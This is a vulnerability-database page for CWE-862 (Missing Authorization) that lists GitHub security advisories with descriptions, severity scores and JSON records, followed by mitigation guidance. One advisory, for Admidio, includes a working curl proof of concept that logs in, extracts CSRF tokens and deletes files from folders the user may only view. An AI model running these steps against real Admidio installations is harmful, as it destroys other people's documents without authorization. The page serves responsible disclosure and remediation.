Common Weakness Enumeration

CWE-862

Allowed-with-Review

Missing Authorization

Abstraction: Class · Status: Incomplete

API response cwe.mitre.org

The product does not perform an authorization check when an actor attempts to access a resource or perform an action.

14839 vulnerabilities reference this CWE, most recent first.

GHSA-QC34-7P9F-9Q4V

Vulnerability from github – Published: 2025-03-27 15:31 – Updated: 2026-04-01 18:34
VLAI
Details

Missing Authorization vulnerability in AwesomeTOGI Awesome Event Booking allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Awesome Event Booking: from n/a through 2.7.2.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-22668"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-27T15:15:58Z",
    "severity": "MODERATE"
  },
  "details": "Missing Authorization vulnerability in AwesomeTOGI Awesome Event Booking allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Awesome Event Booking: from n/a through 2.7.2.",
  "id": "GHSA-qc34-7p9f-9q4v",
  "modified": "2026-04-01T18:34:10Z",
  "published": "2025-03-27T15:31:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-22668"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/awesome-event-booking/vulnerability/wordpress-awesome-event-booking-plugin-2-7-2-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-QC4C-HRMC-4F78

Vulnerability from github – Published: 2026-05-29 21:54 – Updated: 2026-06-09 10:35
VLAI
Summary
Admidio: Authorization bypass in file_delete enables cross-folder file removal by authenticated users without delete privileges
Details

Summary

An authenticated Admidio member with upload rights on any one folder can permanently delete files from folders where they have only view access. The authorization check at the top of modules/documents-files.php evaluates upload rights against the attacker-supplied folder_uuid URL parameter — not the file's actual parent folder. The file_delete handler then only verifies view rights on the file's real location, never upload rights. By passing a folder they legitimately own in folder_uuid while targeting a file in a restricted folder via file_uuid, an attacker bypasses the upload-right check entirely and permanently deletes the file.

This is an incomplete fix of GHSA-rmpj-3x5m-9m5f, which was patched in v5.0.7 but remains exploitable in v5.0.9.

Affected Version: Admidio v5.0.9

Details

Root Cause File: modules/documents-files.php

Issue 1 — folder_uuid is not required for file_delete mode (line 67):

$getFolderUUID = admFuncVariableIsValid($_GET, 'folder_uuid', 'uuid', array(
    'requireValue' => !in_array($getMode, array('list', 'file_delete', 'download'))
));

Issue 2 — The top-level upload-right check loads the folder from the attacker-controlled URL parameter, not the file's actual parent folder (lines 79–88):

if ($getMode != 'list' && $getMode != 'download') {
    $folder = new Folder($gDb);
    $folder->getFolderForDownload($getFolderUUID);   // uses attacker-supplied UUID
    if (!$folder->hasUploadRight()) {
        $gMessage->show($gL10n->get('SYS_NO_RIGHTS'));
    }
}

Issue 3 — The file_delete handler only checks view rights via getFileForDownload(). Upload rights on the file's actual folder are never verified (lines 165–178):

case 'file_delete':
    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
    $file = new File($gDb);
    $file->getFileForDownload($getFileUUID);   // view-only check, not upload
    $file->delete();
    echo json_encode(array('status' => 'success'));
    break;

File::getFileForDownload() in src/Documents/Entity/File.php checks only view-role membership — it never verifies upload rights.

Attack Scenario

  1. The organization has two folders: PrivateFolder (role A: view-only) and UploadFolder (role A: upload + view).
  2. Attacker is a member of role A — they have legitimate upload access to UploadFolder only.
  3. Attacker enumerates a file UUID in PrivateFolder using file_list mode, which is accessible to anyone with view rights.
  4. Attacker sends a file_delete POST using UploadFolder's UUID in folder_uuid and the PrivateFolder file UUID in file_uuid.
  5. Server checks upload rights against UploadFolder → passes.
  6. Server deletes the file from PrivateFolder without ever checking upload rights there.

Prerequisites:

  • Authenticated Admidio member account
  • Upload rights on at least one folder (legitimately assigned)
  • View rights on the target folder (sufficient to enumerate file UUIDs via file_list mode)
  • Knowledge of a target file UUID (obtainable from the folder listing)

PoC

Step 1 — Authenticate and obtain login CSRF token:

curl -c /tmp/admidio_cookies.txt http://TARGET/system/login.php > /tmp/login.html

LOGIN_CSRF=$(grep -o 'name="adm_csrf_token"[^>]*value="[^"]*"' /tmp/login.html \
  | grep -o 'value="[^"]*"' | cut -d'"' -f2)

curl -b /tmp/admidio_cookies.txt -c /tmp/admidio_cookies.txt \
  -X POST "http://TARGET/system/login.php?mode=check" \
  -d "usr_login_name=MEMBER&usr_password=PASSWORD&adm_csrf_token=${LOGIN_CSRF}"

Step 2 — Extract authenticated session CSRF token:

AUTH_CSRF=$(curl -s -b /tmp/admidio_cookies.txt \
  "http://TARGET/system/file_upload.php?module=documents_files&uuid=UPLOAD_FOLDER_UUID" \
  | grep -oP 'name:\s*"adm_csrf_token",\s*value:\s*"\K[^"]+')

Step 3 — Delete file from restricted folder using the upload folder UUID as bypass:

curl -b /tmp/admidio_cookies.txt \
  -X POST "http://TARGET/modules/documents-files.php?mode=file_delete&file_uuid=PRIVATE_FILE_UUID&folder_uuid=UPLOAD_FOLDER_UUID" \
  -d "adm_csrf_token=${AUTH_CSRF}"

Expected response: {"status":"success"}

testmember holds upload rights only on UploadFolder. secret2.txt (UUID 93dc6280-...-bba7-...) resided in PrivateFolder and was permanently deleted from both the database and filesystem.

Impact

An authenticated Admidio member with legitimate upload access to any one folder can permanently delete files from any other folder to which they have view access — without authorization. In organizations where upload rights are delegated by role (e.g., team leads upload to their own folder, view-only everywhere else), this enables cross-folder sabotage and permanent destruction of shared documents.

Business Impact: Data loss, destruction of shared organizational documents, and compliance violations in organizations relying on Admidio for document management.

Remediation

In the file_delete handler, after loading the file via getFileForDownload(), verify upload rights against the file's actual parent folder — not the URL-supplied folder_uuid:

case 'file_delete':
    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
    $file = new File($gDb);
    $file->getFileForDownload($getFileUUID);
    // Verify upload rights on the file's actual parent folder
    $parentFolder = new Folder($gDb);
    $parentFolder->readDataById((int)$file->getValue('fil_fol_id'));
    if (!$parentFolder->hasUploadRight()) {
        $gMessage->show($gL10n->get('SYS_NO_RIGHTS'));
    }
    $file->delete();
    echo json_encode(array('status' => 'success'));
    break;

Alternative fix: Remove the top-level folder_uuid check for file_delete entirely and move a proper upload-rights verification into the file_delete case as the sole authority for authorization.

Defense-in-depth recommendations:

  • Audit all other modes in documents-files.php (e.g., folder_delete, file_rename) for the same pattern of trusting folder_uuid from the URL instead of the resource's actual parent.
  • Add an integration test asserting a user with upload rights on Folder A cannot perform destructive operations on files in Folder B.
  • Consider centralizing authorization in a single helper (e.g., assertUploadRightOnFile($fileUuid)) to eliminate the URL-parameter trust-boundary issue across the codebase.

Credits

  • Researcher: Vishal Kumar B - https://github.com/VishaaLlKumaaRr - Security Researcher & Penetration Tester
  • Disclosure: Responsible disclosure to Admidio maintainers

References

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.0.9"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "admidio/admidio"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.0.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47226"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-29T21:54:09Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nAn authenticated Admidio member with upload rights on **any one folder** can permanently delete files from folders where they have only view access. The authorization check at the top of `modules/documents-files.php` evaluates upload rights against the attacker-supplied `folder_uuid` URL parameter \u2014 not the file\u0027s actual parent folder. The `file_delete` handler then only verifies view rights on the file\u0027s real location, never upload rights. By passing a folder they legitimately own in `folder_uuid` while targeting a file in a restricted folder via `file_uuid`, an attacker bypasses the upload-right check entirely and permanently deletes the file.\n\nThis is an **incomplete fix** of [GHSA-rmpj-3x5m-9m5f](https://github.com/Admidio/admidio/security/advisories/GHSA-rmpj-3x5m-9m5f), which was patched in v5.0.7 but remains exploitable in v5.0.9.\n\n**Affected Version:** Admidio v5.0.9 \n\n---\n\n### Details\n\n**Root Cause File:** `modules/documents-files.php`\n\n**Issue 1 \u2014 `folder_uuid` is not required for `file_delete` mode (line 67):**\n\n```php\n$getFolderUUID = admFuncVariableIsValid($_GET, \u0027folder_uuid\u0027, \u0027uuid\u0027, array(\n    \u0027requireValue\u0027 =\u003e !in_array($getMode, array(\u0027list\u0027, \u0027file_delete\u0027, \u0027download\u0027))\n));\n```\n\n**Issue 2 \u2014 The top-level upload-right check loads the folder from the attacker-controlled URL parameter, not the file\u0027s actual parent folder (lines 79\u201388):**\n\n```php\nif ($getMode != \u0027list\u0027 \u0026\u0026 $getMode != \u0027download\u0027) {\n    $folder = new Folder($gDb);\n    $folder-\u003egetFolderForDownload($getFolderUUID);   // uses attacker-supplied UUID\n    if (!$folder-\u003ehasUploadRight()) {\n        $gMessage-\u003eshow($gL10n-\u003eget(\u0027SYS_NO_RIGHTS\u0027));\n    }\n}\n```\n\n**Issue 3 \u2014 The `file_delete` handler only checks view rights via `getFileForDownload()`. Upload rights on the file\u0027s actual folder are never verified (lines 165\u2013178):**\n\n```php\ncase \u0027file_delete\u0027:\n    SecurityUtils::validateCsrfToken($_POST[\u0027adm_csrf_token\u0027]);\n    $file = new File($gDb);\n    $file-\u003egetFileForDownload($getFileUUID);   // view-only check, not upload\n    $file-\u003edelete();\n    echo json_encode(array(\u0027status\u0027 =\u003e \u0027success\u0027));\n    break;\n```\n\n`File::getFileForDownload()` in `src/Documents/Entity/File.php` checks only view-role membership \u2014 it never verifies upload rights.\n\n---\n\n### Attack Scenario\n\n1. The organization has two folders: `PrivateFolder` (role A: view-only) and `UploadFolder` (role A: upload + view).\n2. Attacker is a member of role A \u2014 they have legitimate upload access to `UploadFolder` only.\n3. Attacker enumerates a file UUID in `PrivateFolder` using `file_list` mode, which is accessible to anyone with view rights.\n4. Attacker sends a `file_delete` POST using `UploadFolder`\u0027s UUID in `folder_uuid` and the `PrivateFolder` file UUID in `file_uuid`.\n5. Server checks upload rights against `UploadFolder` \u2192 **passes**.\n6. Server deletes the file from `PrivateFolder` **without ever checking upload rights there**.\n\n**Prerequisites:**\n\n- Authenticated Admidio member account\n- Upload rights on at least one folder (legitimately assigned)\n- View rights on the target folder (sufficient to enumerate file UUIDs via `file_list` mode)\n- Knowledge of a target file UUID (obtainable from the folder listing)\n\n---\n\n### PoC\n\n**Step 1 \u2014 Authenticate and obtain login CSRF token:**\n\n```bash\ncurl -c /tmp/admidio_cookies.txt http://TARGET/system/login.php \u003e /tmp/login.html\n\nLOGIN_CSRF=$(grep -o \u0027name=\"adm_csrf_token\"[^\u003e]*value=\"[^\"]*\"\u0027 /tmp/login.html \\\n  | grep -o \u0027value=\"[^\"]*\"\u0027 | cut -d\u0027\"\u0027 -f2)\n\ncurl -b /tmp/admidio_cookies.txt -c /tmp/admidio_cookies.txt \\\n  -X POST \"http://TARGET/system/login.php?mode=check\" \\\n  -d \"usr_login_name=MEMBER\u0026usr_password=PASSWORD\u0026adm_csrf_token=${LOGIN_CSRF}\"\n```\n\n**Step 2 \u2014 Extract authenticated session CSRF token:**\n\n```bash\nAUTH_CSRF=$(curl -s -b /tmp/admidio_cookies.txt \\\n  \"http://TARGET/system/file_upload.php?module=documents_files\u0026uuid=UPLOAD_FOLDER_UUID\" \\\n  | grep -oP \u0027name:\\s*\"adm_csrf_token\",\\s*value:\\s*\"\\K[^\"]+\u0027)\n```\n\n**Step 3 \u2014 Delete file from restricted folder using the upload folder UUID as bypass:**\n\n```bash\ncurl -b /tmp/admidio_cookies.txt \\\n  -X POST \"http://TARGET/modules/documents-files.php?mode=file_delete\u0026file_uuid=PRIVATE_FILE_UUID\u0026folder_uuid=UPLOAD_FOLDER_UUID\" \\\n  -d \"adm_csrf_token=${AUTH_CSRF}\"\n```\n\n**Expected response:** `{\"status\":\"success\"}`\n\n`testmember` holds upload rights **only** on `UploadFolder`. `secret2.txt` (UUID `93dc6280-...-bba7-...`) resided in `PrivateFolder` and was permanently deleted from both the database and filesystem.\n\n---\n\n### Impact\n\nAn authenticated Admidio member with legitimate upload access to **any one folder** can permanently delete files from **any other folder** to which they have view access \u2014 without authorization. In organizations where upload rights are delegated by role (e.g., team leads upload to their own folder, view-only everywhere else), this enables cross-folder sabotage and permanent destruction of shared documents.\n\n**Business Impact:** Data loss, destruction of shared organizational documents, and compliance violations in organizations relying on Admidio for document management.\n\n---\n\n### Remediation\n\nIn the `file_delete` handler, after loading the file via `getFileForDownload()`, verify upload rights against the file\u0027s **actual parent folder** \u2014 not the URL-supplied `folder_uuid`:\n\n```php\ncase \u0027file_delete\u0027:\n    SecurityUtils::validateCsrfToken($_POST[\u0027adm_csrf_token\u0027]);\n    $file = new File($gDb);\n    $file-\u003egetFileForDownload($getFileUUID);\n    // Verify upload rights on the file\u0027s actual parent folder\n    $parentFolder = new Folder($gDb);\n    $parentFolder-\u003ereadDataById((int)$file-\u003egetValue(\u0027fil_fol_id\u0027));\n    if (!$parentFolder-\u003ehasUploadRight()) {\n        $gMessage-\u003eshow($gL10n-\u003eget(\u0027SYS_NO_RIGHTS\u0027));\n    }\n    $file-\u003edelete();\n    echo json_encode(array(\u0027status\u0027 =\u003e \u0027success\u0027));\n    break;\n```\n\n**Alternative fix:** Remove the top-level `folder_uuid` check for `file_delete` entirely and move a proper upload-rights verification into the `file_delete` case as the sole authority for authorization.\n\n**Defense-in-depth recommendations:**\n\n- Audit all other modes in `documents-files.php` (e.g., `folder_delete`, `file_rename`) for the same pattern of trusting `folder_uuid` from the URL instead of the resource\u0027s actual parent.\n- Add an integration test asserting a user with upload rights on Folder A cannot perform destructive operations on files in Folder B.\n- Consider centralizing authorization in a single helper (e.g., `assertUploadRightOnFile($fileUuid)`) to eliminate the URL-parameter trust-boundary issue across the codebase.\n\n---\n\n### Credits\n\n- Researcher: Vishal Kumar B - https://github.com/VishaaLlKumaaRr - Security Researcher \u0026 Penetration Tester\n- Disclosure: Responsible disclosure to Admidio maintainers\n\n---\n\n### References\n\n- [GHSA-rmpj-3x5m-9m5f](https://github.com/Admidio/admidio/security/advisories/GHSA-rmpj-3x5m-9m5f) \u2014 Prior incomplete fix, patched in v5.0.7\n- [CWE-862: Missing Authorization](https://cwe.mitre.org/data/definitions/862.html)\n- [CWE-639: Authorization Bypass Through User-Controlled Key](https://cwe.mitre.org/data/definitions/639.html)",
  "id": "GHSA-qc4c-hrmc-4f78",
  "modified": "2026-06-09T10:35:01Z",
  "published": "2026-05-29T21:54:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Admidio/admidio/security/advisories/GHSA-qc4c-hrmc-4f78"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Admidio/admidio/security/advisories/GHSA-rmpj-3x5m-9m5f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Admidio/admidio"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Admidio: Authorization bypass in file_delete enables cross-folder file removal by authenticated users without delete privileges"
}

GHSA-QC5V-WJX7-7367

Vulnerability from github – Published: 2026-03-10 18:31 – Updated: 2026-03-10 21:32
VLAI
Details

Hitachi Vantara Pentaho Data Integration & Analytics versions before 10.2.0.6, including 9.3.x and 8.3.x, do not restrict Groovy scripts in new PRPT reports published by users, allowing insertion of arbitrary scripts and leading to a RCE.

Severity
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-11158"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-10T16:23:22Z",
    "severity": "CRITICAL"
  },
  "details": "Hitachi Vantara Pentaho Data Integration \u0026 Analytics versions before 10.2.0.6, including 9.3.x and\u00a08.3.x, do not restrict Groovy scripts in new PRPT reports published by users, allowing insertion of\u00a0arbitrary scripts and leading to a RCE.",
  "id": "GHSA-qc5v-wjx7-7367",
  "modified": "2026-03-10T21:32:14Z",
  "published": "2026-03-10T18:31:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11158"
    },
    {
      "type": "WEB",
      "url": "https://support.pentaho.com/hc/en-us/articles/39975058295821--Resolved-Hitachi-Vantara-Pentaho-Data-Integration-Analytics-Missing-Authorization-Versions-before-10-2-0-6-impacted-CVE-2025-11158"
    },
    {
      "type": "WEB",
      "url": "https://www.ox.security/blog/cve-2025-11158"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-QC6J-P6MG-HFQ8

Vulnerability from github – Published: 2025-12-12 09:30 – Updated: 2026-04-08 21:33
VLAI
Details

The WP Fastest Cache plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.7.4 via the 'get_server_time_ajax_request' AJAX action. This makes it possible for authenticated attackers, with Subscriber-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.

Severity
3.5 (Low)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-10583"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-12T08:15:47Z",
    "severity": "LOW"
  },
  "details": "The WP Fastest Cache plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.7.4 via the \u0027get_server_time_ajax_request\u0027 AJAX action. This makes it possible for authenticated attackers, with Subscriber-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.",
  "id": "GHSA-qc6j-p6mg-hfq8",
  "modified": "2026-04-08T21:33:09Z",
  "published": "2025-12-12T09:30:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-10583"
    },
    {
      "type": "WEB",
      "url": "https://research.cleantalk.org/2025-10583"
    },
    {
      "type": "WEB",
      "url": "https://research.cleantalk.org/cve-2025-10583"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/b9e64c54-a78f-454a-a9ee-02f64b6ae83d?source=cve"
    },
    {
      "type": "WEB",
      "url": "https://www.wpfastestcache.com/changelog"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-QC82-C8WJ-32V3

Vulnerability from github – Published: 2023-10-08 06:30 – Updated: 2024-04-04 08:24
VLAI
Details

In Messaging, there is a possible missing permission check. This could lead to local information disclosure with no additional execution privileges needed

Severity
5.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-40647"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-10-08T04:15:57Z",
    "severity": "MODERATE"
  },
  "details": "In Messaging, there is a possible missing permission check. This could lead to local information disclosure with no additional execution privileges needed",
  "id": "GHSA-qc82-c8wj-32v3",
  "modified": "2024-04-04T08:24:58Z",
  "published": "2023-10-08T06:30:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-40647"
    },
    {
      "type": "WEB",
      "url": "https://www.unisoc.com/en_us/secy/announcementDetail/https://www.unisoc.com/en_us/secy/announcementDetail/1707266966118531074"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-QC8P-JP3G-X9HM

Vulnerability from github – Published: 2025-10-27 03:30 – Updated: 2026-01-20 15:31
VLAI
Details

Missing Authorization vulnerability in MDZ Persian Admnin Fonts persian-admin-fonts allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Persian Admnin Fonts: from n/a through <= 4.1.03.

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-62980"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-27T02:15:58Z",
    "severity": "HIGH"
  },
  "details": "Missing Authorization vulnerability in MDZ Persian Admnin Fonts persian-admin-fonts allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Persian Admnin Fonts: from n/a through \u003c= 4.1.03.",
  "id": "GHSA-qc8p-jp3g-x9hm",
  "modified": "2026-01-20T15:31:38Z",
  "published": "2025-10-27T03:30:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62980"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Plugin/persian-admin-fonts/vulnerability/wordpress-persian-admnin-fonts-plugin-4-1-03-broken-access-control-vulnerability?_s_id=cve"
    },
    {
      "type": "WEB",
      "url": "https://vdp.patchstack.com/database/Wordpress/Plugin/persian-admin-fonts/vulnerability/wordpress-persian-admnin-fonts-plugin-4-1-03-broken-access-control-vulnerability"
    },
    {
      "type": "WEB",
      "url": "https://vdp.patchstack.com/database/Wordpress/Plugin/persian-admin-fonts/vulnerability/wordpress-persian-admnin-fonts-plugin-4-1-03-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-QC92-85MG-GR37

Vulnerability from github – Published: 2025-08-23 06:30 – Updated: 2025-08-23 06:30
VLAI
Details

The WC Plus plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'pluswc_logo_favicon_logo_base' AJAX action in all versions up to, and including, 1.2.0. This makes it possible for unauthenticated attackers to update the site's favicon logo base.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-7821"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-08-23T05:15:32Z",
    "severity": "MODERATE"
  },
  "details": "The WC Plus plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the \u0027pluswc_logo_favicon_logo_base\u0027 AJAX action in all versions up to, and including, 1.2.0. This makes it possible for unauthenticated attackers to update the site\u0027s favicon logo base.",
  "id": "GHSA-qc92-85mg-gr37",
  "modified": "2025-08-23T06:30:20Z",
  "published": "2025-08-23T06:30:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-7821"
    },
    {
      "type": "WEB",
      "url": "https://wordpress.org/plugins/wc-plus"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/dd35a017-3b80-483d-8144-3986ea064669?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-QC95-8FHJ-7W2P

Vulnerability from github – Published: 2023-07-04 03:31 – Updated: 2024-04-04 05:21
VLAI
Details

In vow, there is a possible escalation of privilege due to a missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: ALPS07611449; Issue ID: ALPS07441735.

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-20773"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-07-04T02:15:10Z",
    "severity": "HIGH"
  },
  "details": "In vow, there is a possible escalation of privilege due to a missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: ALPS07611449; Issue ID: ALPS07441735.",
  "id": "GHSA-qc95-8fhj-7w2p",
  "modified": "2024-04-04T05:21:56Z",
  "published": "2023-07-04T03:31:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-20773"
    },
    {
      "type": "WEB",
      "url": "https://corp.mediatek.com/product-security-bulletin/July-2023"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-QC9G-Q3W6-G945

Vulnerability from github – Published: 2026-06-25 15:32 – Updated: 2026-06-25 15:32
VLAI
Details

Customer Broken Access Control in UPI QR Code Payment Gateway for WooCommerce <= 1.6.2 versions.

Severity
5.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-56023"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-25T14:16:50Z",
    "severity": "MODERATE"
  },
  "details": "Customer Broken Access Control in UPI QR Code Payment Gateway for WooCommerce \u003c= 1.6.2 versions.",
  "id": "GHSA-qc9g-q3w6-g945",
  "modified": "2026-06-25T15:32:01Z",
  "published": "2026-06-25T15:32:01Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56023"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/upi-qr-code-payment-for-woocommerce/vulnerability/wordpress-upi-qr-code-payment-gateway-for-woocommerce-plugin-1-6-2-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-QCCF-5WWV-JQ8X

Vulnerability from github – Published: 2025-08-27 21:31 – Updated: 2025-08-27 21:31
VLAI
Details

An issue has been discovered in GitLab CE/EE affecting all versions before 18.1.5, 18.2 before 18.2.5, and 18.3 before 18.3.1 that could have allowed unauthenticated users to access sensitive manual CI/CD variables by querying the GraphQL API.

Severity
5.8 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-2246"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-08-27T20:15:31Z",
    "severity": "MODERATE"
  },
  "details": "An issue has been discovered in GitLab CE/EE affecting all versions before 18.1.5, 18.2 before 18.2.5, and 18.3 before 18.3.1 that could have allowed unauthenticated users to access sensitive manual CI/CD variables by querying the GraphQL API.",
  "id": "GHSA-qccf-5wwv-jq8x",
  "modified": "2025-08-27T21:31:38Z",
  "published": "2025-08-27T21:31:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-2246"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/3026559"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/gitlab/-/issues/524592"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Architecture and Design
  • Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
  • Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Mitigation MIT-4.4
Architecture and Design

Strategy: Libraries or Frameworks

